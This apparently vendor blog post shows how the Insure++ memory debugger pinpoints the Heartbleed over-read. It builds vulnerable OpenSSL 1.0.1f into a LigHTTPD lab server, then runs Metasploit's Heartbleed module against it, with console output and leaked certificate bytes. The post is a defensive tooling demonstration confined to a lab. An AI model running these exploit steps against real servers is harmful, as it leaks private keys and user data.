Go back to blog listing

Use Runtime Error Detection to Find Security Vulnerabilities

security-vulnerability-01
Instead of relying on a security scanner to find known vulnerabilities in your code, you can use runtime error detection to find security vulnerabilities. This technique doesn't require vulnerabilities to be already known in order to detect them.

The Heartbleed vulnerability was discovered in 2014 in OpenSSL, and it generated a lot of interest and worry because of the broad adoption of OpenSSL in both open-source and commercial applications. Following this discovery, specific vulnerability scanners were updated to detect Heartbleed, but today we're looking at a different technique you can use to detect security vulnerabilities using runtime error detection. This technique doesn't rely on vulnerabilities to already have been discovered in order to detect them.

When the news about the OpenSSL Heartbleed vulnerability was released, the industry went into a panic about how to either patch or mitigate the problem. OpenSSL is an encryption library used in HTTPS communication. HTTPS is supposed to be the secure version of HTTP, so a wide variety of private information going over the wires of the internet first line of protection is OpenSSL. As such the Heartbleed vulnerability put credit cards, social security numbers, passwords, and other personal information at critical risk.

The vulnerability was caused by the rarely used but frequently enabled "heartbeat" feature of OpenSSL. By sending a server running OpenSSL a malformed heartbeat request, a memory over read occurs which leaks critical information into the response packet. When properly weaponized, this allows nigh undetectable exfiltration of private OpenSSL, which compromises all of the server's secure communication.

As organizations realized that this issue was real, they wanted to check if the problem existed in their own source code. At the simplest level you can patch or update an old version of OpenSSL. But you may also want to test to make sure that the underlying problem itself doesn't actually exist. Let's see how runtime error detection can be used along with traditional penetration tools to precisely detect vulnerabilities.

Applying Runtime Error Detection for Security

Parasoft Insure++ is a memory debugging tool that uses patented instrumentation techniques to quickly identify leaks and other memory issues. Detecting memory over reads are incredibly difficult (if not impossible) with traditional debuggers, but extremely easy using Parasoft
Insure++.

The Heartbleed vulnerability was originally discovered by security engineers at Codenomicon and Google Security. It took a great deal of effort to not only find the vulnerability but to also prove that the vulnerability mattered and fully mitigate the issue. Here, I'll show you how a good vulnerability discovery tool such as a fuzzer combined with Insure++ would have significantly eased the process of determining the impact of the vulnerability and fixing it.

Since the core of Heartbleed is a memory over-read issue, we'll be using Parasoft Insure++ to demonstrate on a real-world vulnerability how much easier it is to diagnose and fix critical bugs with the right tools!

Getting Started: Setting up the victim virtual machine

The victim virtual machine is where we'll setup LigHTTPD to use a version of OpenSSL vulnerable to the Heartbleed attack. I chose CentOS 7 as the operating system for the victim virtual machine. Be sure to select development tools during installation in order to have the GCC compiler and other required header files included.

When setting up the virtual machine's networking, be mindful of where you'll launch the attack from. I chose to attack from the host machine so I included a host-only network adapter. Install Metasploit on the machine that is going to be performing the attack. 

Finally, install Parasoft Insure++ on the victim virtual machine!

 

Project Layout

The project will be laid out as follows:

 ~/heartbleed :: The main directory where we'll be working.
 ~/heartbleed/env :: The directory we'll target as our installation prefix.
 ~/heartbleed/src :: The directory where we'll download source code and do compilation.
 ~/heartbleed/srv :: The directory storing our LigHTTPD website.

Building OpenSSL with Insure++ and installing.

The step toward demonstrating the Heartbleed vulnerability is to build OpenSSL with Insure++ instrumentation. In order to exploit the heartbleed vulnerability, we'll need to build a version of OpenSSL that was released before the bug was fixed. The last version of OpenSSL containing the heartbleed vulnerability was version 1.0.1, so we'll use that.


 $ cd /home/USER/heartbleed/src
 $ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz
 $ tar xf openssl-1.0.1f.tar.gz
 $ cd openssl-1.0.1f
 
The next thing we need to do is configure our source. In order to expedite this process we'll create the following script in the OpenSSL source directory. The script assumes that both insure and gcc are included in the current shell PATH. Name the script something like configure_openssl.sh

 

 #!/usr/bin/env bash

 CC="$(command -v insure) $(command -v gcc)" \
 CXX="$(command -v insure) $(command -v g++)" \
 ./config -d shared --prefix=/home/USER/heartbleed/env

 

The -d flag configures OpenSSL to include debugging symbols required by Insure++. The shared directive configures OpenSSL to generate shared libraries. The 

   --prefix=/home/USER/heartbleed/env 

flag configures OpenSSL to install to this directory.


Now run ~/configure_openssl.sh in the OpenSSL source directory to configure the source.

 $ pwd
 /home/USER/heartbleed/src/openssl-1.0.1f
 $ chmod +x configure_openssl.sh
 $ ./configure_openssl.sh

The next step is to compile using make. Make accepts a -j flag to specify the number of compilation jobs to run in parallel. Insure++ fully supports this parallel compilation which allows us to speed up compilation by specifying the number of cores available to the victim virtual machine.

 $ make -j4

When running make with Insure++ instrumentation, an Insra window will appear showing which files are being instrumented during compilation.

08_09_compiling_window_with_insra

Normally we would run make install after building but there is a problem with man file creation due to the old version of pod2man included with CentOS 7 not supporting the format used by OpenSSL. To avoid this we install only the software instead of patching many POD files by hand.

 

  $ make install_sw

  

Building and installing LigHTTPD

The next step is to build LigHTTPD with our Insure++ instrumented build of OpenSSL. Since we are interested in the Heartbleed vulnerability in OpenSSL and not some behavior of LigHTTPD, we will be building without Insure++ instrumentation. Despite not using Insure++ for compiling LigHTTPD we will still need to use Insure++ for linking since we are linking against the Insure++ instrumented build of OpenSSL.

We'll get the source code of a recent version of LigHTTPD to build.

 $ cd /home/USER/heartbleed/src
 $ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz
 $ tar xf lighttpd-1.4.49.tar.xz
 $ cd lighttpd-1.4.49

We now need to configure the LigHTTPD source to properly link against both the Insure++ instrumentation and our build of OpenSSL. We will create the following script to the LigHTTPD source directory to accomplish this. Name the configure script something like configure_lighttpd.sh.

 #!/usr/bin/env bash

OPENSSL_PATH=’/home/USER/heartbleed/env’
INSURE_PATH=’/home/USER/insure’
MY_LIBS=’-linsure -linsure_mt -ldl’
MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib"
MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib"
MY_FLAGS="$MY_LIB_PATHS $MY_LIBS"
CC="$(command -v gcc)" \
CXX="$(command -v g++)" \
CFLAGS="$MY_FLAGS" \
CPPFLAGS="$MY_FLAGS" \
LDFLAGS="$MY_LIB_PATHS" \
LD_LIBRARY_PATH="$MY_LD_LIB_PATHS" \

--prefix=/home/USER/heartbleed/env \
--with-openssl \
--with-openssl-includes=/home/USER/heartbleed/env/include \ --with-openssl-libs=/home/USER/heartbleed/env/lib

Before running this configure script be sure to install the bzip2 headers required for LigHTTPD.


 sudo yum install bzip2-devel

Run the script from the LigHTTPD directory.

 $ pwd
 /home/USER/heartbleed/src/lighttpd-1.4.49
 $ chmod +x configure_lighttpd.sh
 $ ./configure_lighttpd.sh

Now that the source is configured we must perform one unusual additional step. Since LigHTTPD uses libtool for library linking we must configure it to use Insure++ for the final linking step.

Edit the file /home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile replacing the following line...

 CCLD = $(CC)

With the following being sure that the paths match for your setup...

 CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'

Now that the source is configured we can proceed to build the source code
and install.

 $ make -j4
 $ make install

 

Setting up LigHTTPD

Now that we have LigHTTPD built with an Insure++ instrumented OpenSSL, we need to create a bare bones setup for LigHTTPD to run. First we create a simple "Hello world!" HTML page in /home/USER/heartbleed/srv/index.html~ as follows...


  <html>
   <head>
     <title>Heartbleed Demo</title>
   </head>
   <body>
     <h1>Hello world!</h1>
   </body>
 </html>

The next setup in setting up is to generate a SSL PEM file for LigHTTPD to
use for HTTPS.

 $ cd /home/USER/heartbleed/
 $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem


10_openssl_generate_pem

Be sure to fill out the email address, physical location, and organizational fields as show above because we'll look for them in leaked memory later!

Finally, we create a simple configuration file at /home/USER/heartbleed/lighttpd.conf as follows. Be sure to correct the user, groups, and paths to match your setup. Note that we're using the non-standard ports 8080 for HTTP and 4443 for HTTPS to avoid having to run LigHTTPD as root.

 server.modules = (

"mod_openssl",
"mod_access",
"mod_accesslog",
)
server.port = 8080
server.username = "USER"
server.groupname = "GROUP"
server.document-root = "/home/USER/heartbleed/srv"
server.errorlog = "/home/USER/heartbleed/lighttpd_error.log"
accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log"
dir-listing.activate = "enable"
index-file.names = ( "index.html" )
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain",
".css" => "text/css",
".js" => "application/x-javascript",
".jpg" => "image/jpeg",
".jpeg" => "image/jpeg",
".gif" => "image/gif",
".png" => "image/png",
"" => "application/octet-stream",
)
$SERVER["socket"] == ":4443" {
ssl.engine = "enable"
ssl.pemfile = "/home/USER/heartbleed/server.pem"
}

Running LigHTTPD

Create the following script in /home/USER/heartbleed/run_lighttpd.sh. We need to specify the LD_LIBRARY_PATH since we're using non-standard paths for libraries. Be sure to correct the path to match your users home folder.

 #!/usr/bin/env bash
LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \
/home/USER/heartbleed/env/sbin/lighttpd \
-D \
-f /home/USER/heartbleed/lighttpd.conf


Run the script to launch LigHTTPD!

 $ pwd
 /home/USER/heartbleed
 $ chmod +x run_lighttpd.sh
 $ ./run_lighttpd.sh

 

Running Metasploit

Now that we have LigHTTPD up and running with our Insure++ instrumented OpenSSL, it's now time to launch our attack! We will use Metasploit to launch our attack. Metasploit is a tool for many information security tasks including exploiting and bypassing software security. It includes a scanner for Heartbleed which partially exploits the vulnerability to demonstrate
susceptibility.

The first thing you need to do is install Metasploit on your attacker system. I chose to launch my attacks from the virtual machine host so I installed Metasploit there. I will not cover Metasploit installation since it is out of the scope of this demo. After Metasploit is installed launch
the Metasploit console.

 $ msfconsole

This will display a prompt for the Metasploit framework. From this prompt let's search Metasploit for what Heartbleed tools it provides.


 msf > search heartbleed

 Matching Modules
 ================

 Name Disclosure Date Rank Description
 ---- --------------- ---- -----------
 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak
 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure


We will be using Metasploit's Heartbleed scanner mentioned earlier.

 msf > use auxiliary/scanner/ssl/openssl_heartbleed

From here we want to set the options for the openssl_heartbleed scanner. First we will turn on verbose output to see detailed output during exploitation. Then we set the remote host IP and port to target for attack. Be sure to change the host IP and port to match your setup.


 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
 verbose => true
 msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102
 rhosts => 192.168.56.102
 msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443
 RPORT => 4443


If we run set without any arguments we can see what arguments have been set for the current tool. It is important to check these options before launching a scan or exploit in Metasploit because targeting the wrong system could disrupt or damage unintended targets.


 msf auxiliary(scanner/ssl/openssl_heartbleed) > set

 Global
 ======

 No entries in data store.

 Module: scanner/ssl/openssl_heartbleed
 ======================================

 Name Value
 ---- -----
 CHOST
 CPORT
 ConnectTimeout 10
 DUMPFILTER
 HEARTBEAT_LENGTH 65535
 MAX_KEYTRIES 50
 Proxies
 RESPONSE_TIMEOUT 10
 RHOSTS 192.168.56.102
 RPORT 4443
 SSL false
 SSLCipher
 SSLVerifyMode PEER
 SSLVersion Auto
 STATUS_EVERY 5
 ShowProgress true
 ShowProgressPercent 10
 TCP::max_send_size 0
 TCP::send_delay 0
 THREADS 1
 TLS_CALLBACK None
 TLS_VERSION 1.0
 VERBOSE true
 WORKSPACE
 XMPPDOMAIN localhost


Now that we've configured all the options and confirmed we're not attacking something we did not intend to, we can launch our attack!


 msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit

 [*] 192.168.56.102:4443 - Sending Client Hello...
 [*] 192.168.56.102:4443 - SSL record #1:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 86
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 82
 [*] 192.168.56.102:4443 - Type: Server Hello (2)
 [*] 192.168.56.102:4443 - Server Hello Version: 0x0301
 [*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367e6f3fed78ece4
 [*] 192.168.56.102:4443 - Server Hello Session ID length: 32
 [*] 192.168.56.102:4443 - Server Hello Session ID: 6fc69c504e53adc8611f353f010f427a01ce9530edf77f84fa71e5238660f7db
 [*] 192.168.56.102:4443 - SSL record #2:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 1033
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 1029
 [*] 192.168.56.102:4443 - Type: Certificate Data (11)
 [*] 192.168.56.102:4443 - Certificates length: 1026
 [*] 192.168.56.102:4443 - Data length: 1029
 [*] 192.168.56.102:4443 - Certificate #1:
 [*] 192.168.56.102:4443 - Certificate #1: Length: 1023
 [*] 192.168.56.102:4443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000055b722236070>, issuer=#<OpenSSL::X509::Name:0x000055b7222360c0>, serial=#<OpenSSL::BN:0x000055b722236110>, not_before=2018-09-24 23:24:45 UTC, not_after=2038-09-19 23:24:45 UTC>
 [*] 192.168.56.102:4443 - SSL record #3:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 331
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 327
 [*] 192.168.56.102:4443 - Type: Server Key Exchange (12)
 [*] 192.168.56.102:4443 - SSL record #4:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 4
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 0
 [*] 192.168.56.102:4443 - Type: Server Hello Done (14)

 [*] 192.168.56.102:4443 - Sending Heartbeat...
 [*] 192.168.56.102:4443 - Heartbeat response, 65535 bytes
 [+] 192.168.56.102:4443 - Heartbeat response with leak
 [*] 192.168.56.102:4443 - Printable info leaked:
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

The line after 'Printable info leaked:' has been removed since it is extremely long. Some relevant bytes are presented below: 

: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0...
: ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U
: ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!..
: *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0..
: .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0
: ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0.....
: ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3

As you can see, the exploit successfully leaked memory from OpenSSL containing our PEM key! If you search through the leaked memory you will find the email address, physical location, and organizational information you filled out when creating the PEM file that LigHTTPD uses.

Looking at Insure++ Insra and TCA output

From our victim virtual machine we an see Insure++ output in Insra when we launch LigHTTPD. During initial execution a USER_ERROR occurs which we will ignore since it has nothing to do with Heartbleed.

00_lighttpd_first_run

After running the Heartbleed exploit in Metasploit we can see the exact line of code where the the buffer over-read occurs that causes internal memory to leak!

01_lighttpd_after_exploit

Double clicking on the READ_OVERFLOW line opens another window containing additional details including a trace of where the block of memory was allocated and a stack trace of where the read overflow occurred.

06_07_lighttpd_show_read_overflow_combined

Executables instrumented with Insure++ generate a tca.log file when run. TCA stands for 'total coverage analysis'. We can open this log file with the TCA tool included with Insure++ to see  detailed information about our code coverage.

 $ TCA tca.log

In the next screenshot you can see TCA displaying the results of our tca.log obtained after running the Metasploit Heartbleed exploit. I sorted the report by file and highlighted t1_lib.c where the vulnerability exists. As you can see we only covered 13% of the code in the file.

03_lighttpd_tca_sort_by_file_show_t1_lib

Double clicking on the t1_lib.c line will cause another window to open. In this window we can see coverage in t1_lib.c sorted by function. I have highlighted the function where the Heartbleed vulnerability occurs. As you can see we only covered about 45% of the code in the function.

04_lighttpd_tca_show_t2_lib_show_func

Furthermore, double clicking on the function name displays the source code with code that was covered in black and code not covered in red.

05_lighttpd_show_process_heartbeat_coverage

Conclusion

As you can see, Parasoft Insure++ made detection of Heartbleed trivial. Not only did Insure++ detect the memory over read, but it also generated:

  • A stack trace of where the memory over read occurred.
  • A stack trace of where the memory itself was allocated.
  • A detailed log of code paths covered.

These features make Insure++ something that would fit well in any information security researcher's tool belt. So while you're probably familiar with using various SAST tools and penetration tools to find security vulnerabilities, you should think about adding runtime error detection to your security testing toolkit.

Get the ultimate memory debugger for C and C++

Stay up to date